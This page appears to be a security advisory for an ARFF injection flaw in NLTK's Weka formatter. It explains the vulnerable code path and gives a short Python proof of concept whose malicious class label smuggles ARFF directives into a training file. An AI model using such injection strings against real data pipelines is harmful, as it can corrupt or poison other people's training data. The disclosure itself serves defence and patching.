Medium

NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels

  • Disclosed: 19.11.2026
  • Updated: 20.11.2026 01:17

Description

Summary

nltk.classify.weka.ARFF_Formatter writes class labels directly into the Weka ARFF @ATTRIBUTE '-label-' {...} declaration without any ARFF quoting or escaping. An attacker who can contribute class labels to a training dataset can include ARFF metacharacters such as }, newlines, @ATTRIBUTE, and @DATA to break out of the nominal label list and inject attacker‑controlled ARFF schema and data directives.

This vulnerability is reachable in any application that calls WekaClassifier.train() or ARFF_Formatter.from_train() with attacker‑influenced training data. The victim does not need to manually edit the ARFF file; the normal training workflow writes the malformed ARFF automatically.

Technical Details

The vulnerable code path is:

  1. WekaClassifier.train() calls ARFF_Formatter.from_train(featuresets).
  2. from_train() extracts labels from the training data and passes them to ARFF_Formatter(labels, features).
  3. header_section() uses ",".join(self._labels) directly, embedding attacker‑controlled strings into the ARFF header without sanitization.

Because the label names are not escaped, a label containing safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n% will close the label set, inject a new attribute, start a premature data section, and comment out the remaining header.

Proof of Concept

The following self‑contained Python script demonstrates the vulnerability. It requires only NLTK and does not need Weka to be installed, because the attack is carried out purely by generating the ARFF string.

python
from nltk.classify.weka import ARFF_Formatter

# Attacker‑controlled label containing ARFF metacharacters.
# The `}` closes the label set, the `@ATTRIBUTE` injects a new attribute,
# `@DATA` starts the data section early, and `%` comments out the rest.
malicious_label = "safe}\n@ATTRIBUTE injected NUMERIC\n@DATA\n0,owned\n%"

featuresets = [
    ({"f": "benign"}, "legit"),          # legitimate example
    ({"f": "payload"}, malicious_label), # attacker's example
]

# NLTK builds the formatter from the training data
formatter = ARFF_Formatter.from_train(featuresets)

# Generate the ARFF string – this is what would be written to the training file
arff = formatter.format(featuresets)

# Verify that the injection succeeded
assert "@ATTRIBUTE injected NUMERIC" in arff, "Injected attribute not found"
assert "@DATA\n0,owned" in arff, "Injected data row not found"

print("=== Injected ARFF (excerpt) ===")
for line in arff.splitlines()[5:12]:
    print(line)

Expected output:

=== Injected ARFF (excerpt) ===
@ATTRIBUTE 'f' STRING
@ATTRIBUTE '-label-' {legit,safe}
@ATTRIBUTE injected NUMERIC
@DATA
0,owned
%

Explanation of the injection:

· The label safe} closes the nominal label set {legit,safe} prematurely. · The following lines (@ATTRIBUTE injected NUMERIC, @DATA, 0,owned) are then parsed as legitimate ARFF directives, not as part of the label name. · The % at the end comments out the remaining header lines that NLTK would have appended, preventing syntax errors.

References

· CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component · Huntr report https://huntr.com/bounties/bc7085e7-1caf-40c7-b406-a5099ce44072 · Weka ARFF format documentation

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3768 "Fix ARFF label injection in Weka classifier" (ekaf), merged 2026-08-24, merge commit e0a857f52 on develop. Fix commit: 56031eabc. Defence in depth: 0e1d6bf87 (PR #3863, ARFF values formatted from their type rather than caller str/repr).

Probe: nltk/test/unit/security_probes/ghsa_9ffx_rrgx_mhgx.py (added on #3768); verdict on develop 2fa3f48fe: FIXED (ARFF labels, values, and attribute names sanitized).

Release: none yet; no release tag contains 56031eabc.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) nltk < 3.10.4 3.10.4

References

CVSS score 5.4/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Weakness (CWE)
CWE-74
Platform
Python (PyPI)
Package
nltk
Disclosed
19.11.2026
Updated
20.11.2026 01:17

Sources and licenses

OSV / GitHub Advisory Database - GHSA-9ffx-rrgx-mhgx - CC BY 4.0

Vulnerability history: nltk

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (79) in the archive
Total entries
79
First → latest
08.2019 11.2026
Without a fix
5
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 41
  • Medium 31
  • Low 2

Disclosures per year

  1. 2019: 1
  2. 2020: 0
  3. 2021: 2
  4. 2022: 1
  5. 2023: 0
  6. 2024: 1
  7. 2025: 0
  8. 2026: 74
Severity:
  1. NLTK: ARFF_Formatter Injects Weka ARFF Schema Directives via Attacker-Controlled Class Labels this entry
    Medium · 5.4 CVE-2026-129221 < 3.10.4 3.10.4
  2. High CVE-2026-79674 < 3.10.3 3.10.3
  3. High · 8.8 CVE-2026-71513 >= 3.10.0, < 3.10.3 3.10.3
  4. High · 5.9 CVE-2026-62385 < 3.10.0 3.10.0
  5. High · 7.5 CVE-2026-33231 < 3.9.4 3.9.4
Show more (7) Showing 40 of 47

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.